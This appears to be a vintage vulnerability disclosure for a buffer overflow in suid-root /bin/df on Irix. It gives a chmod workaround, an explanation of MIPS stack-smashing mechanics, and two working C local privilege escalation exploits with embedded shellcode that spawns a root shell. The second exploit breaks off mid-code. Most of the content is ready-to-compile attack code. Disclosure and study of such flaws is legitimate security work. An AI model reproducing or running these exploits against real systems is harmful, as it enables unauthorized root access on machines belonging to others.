There appears to be a buffer overflow in /bin/df on Irix 5.3, 6.2 and 6.3. /bin/df is installed suid root and hence root access is achievable for local users. The version of 'df' which comes with Irix 6.2, whilst having the buffer overflow problem, is not vulnerable to this exploit as it is compiled as a 64bit N32 object and it is virtually impossible to exploit buffer overflows in such programs. The temporary fix: chmod u-s /bin/df This only appears to affect the '-f' flag which I doubt anyone ever uses. The exploit code included has been tested on the following: R3000 Indigo (Irix 5.3) R4400 Indy (Irix 5.3) R5000 O2 (Irix 6.3) Compile with either gcc or cc. Note that you should specify one of '-mips3', '-mips4' or '-n32' to compile on an O2. The default compile options result in a binary which exhibits weird cache coherency problems and rarely works. -------------------- cut here ---------------------------- /* /bin/df buffer overflow exploit by DCRH */ #include #include #include #include #include #define BUF_LENGTH 1504 #define EXTRA 700 #define OFFSET 0x200 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */ #define u_long unsigned u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp */ 0x03e00008, /* jr $ra */ 0x00000000, /* nop */ }; u_long irix_shellcode[] = { 0x24041234, /* li $4,0x1234 */ 0x2084edcc, /* sub $4,0x1234 */ 0x0491fffe, /* bgezal $4,pc-4 */ 0x03bd302a, /* sgt $6,$sp,$sp */ 0x23e4012c, /* addi $4,$31,264+36 */ 0xa086feff, /* sb $6,-264+7($4) */ 0x2084fef8, /* sub $4,264 */ 0x20850110, /* addi $5,$4,264+8 */ 0xaca4fef8, /* sw $4,-264($5) */ 0xaca6fefc, /* sw $4,-260($5) */ 0x20a5fef8, /* sub $5, 264 */ 0x240203f3, /* li $v0,1011 */ 0x03ffffcc, /* syscall 0xfffff */ 0x2f62696e, /* "/bin" */ 0x2f7368ff, /* "/sh" */ }; char buf[BUF_LENGTH + EXTRA + 8]; void main(int argc, char **argv) { char *env[] = {NULL}; u_long targ_addr, stack; u_long *long_p; int i, code_length = strlen((char *)irix_shellcode)+1; u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code; stack = get_sp(); long_p =(u_long *) buf; targ_addr = stack + OFFSET; if (argc > 1) targ_addr += atoi(argv[1]) * 4; while ((targ_addr & 0xff000000) == 0 || (targ_addr & 0x00ff0000) == 0 || (targ_addr & 0x0000ff00) == 0 || (targ_addr & 0x000000ff) == 0) targ_addr += 4; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = IRIX_NOP; for (i = 0; i < code_length/sizeof(u_long); i++) *long_p++ = irix_shellcode[i]; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = (targ_addr << 16) | (targ_addr >> 16); *long_p = 0; printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr); execle("/bin/df", "df", &buf[3], 0, env); perror("execl failed"); } ============================================================================= First, few notes about how buffer overflows can be exploited on Irix for those unfamiliar with the architecture. First of all, Irix is running on MIPS, and MIPS is a classic RISK CPU. So there's no RET instruction, and return address of a subroutine doesn't have to be stored on the stack at all. In fact, for non-leaf functions (i.e. those that don't call any subroutines themselves) it's not stored. For leaf procedures, however, compiler generates standard prolog/epilog that puts return address and "frame pointer" ($gp register) on stack and restores it from there. However, automatic variables are placed on stack _above_ them, so typical stack entry for sub1 called from sub0 looks like sub0 stack top (high memory addresses) sub0 automatic vars $ra (return address stored) $gp sub0 stack bottom/sub1 stack top sub1 automatic vars $ra $gp sub1 stack bottom (low memory addresses) (this is assuming sub1 is leaf). Anyway, it's clear that by overflowing automatic array one can't reach the stored return address on the current subroutine. The parent's stack can be successfully smashed, though. There're still more problems, however (this part is reworded explanation from the author of the exploit). If you go for saved $ra, you have to smash saved $gp on the way. In cc-generated code, though, a code sequence similar to below is often found: lw $gp,24($sp) lw $t9,-32412($gp) jalr $t9 offset is different in each case, of course. This happens before subroutine returns, so if $gp has wrong value, it has no chance of ever returning. So one actually has to target $gp and supply the right value which after subtracting the offset points to the code location somewhere in argv or envp. This may sometimes be difficult to achieve, especially on 5.3, because of "no zero bytes" restriction. There's also alignment issue: shell code should be perfectly aligned on word (32 bit, in 32 bit mode) boundary, so in addition to finding right value for $gp one has to try 4 different values for alignment. So buffer overflows on Irix are not as trivial to exploit as say on x86, but still it's perfectly possible, and I strongly suspect that Irix will as usually compensate for that by having numerous potential overflows in each and every suid binary. ----- df.c -------------------------------------------------------------------- #include #include #define BUFSIZE 2061 #define OFFS 800 #define ADDRS 2 #define ALIGN 0 void run(unsigned char *buf) { execl("/usr/sbin/df", "df", buf, NULL); printf("execl failed\n"); } char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; char nop[]="\x24\x0f\x12\x34"; unsigned long get_sp(void) { __asm__("or $2,$sp,$0"); } /* this align stuff sux - i do know. */ main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize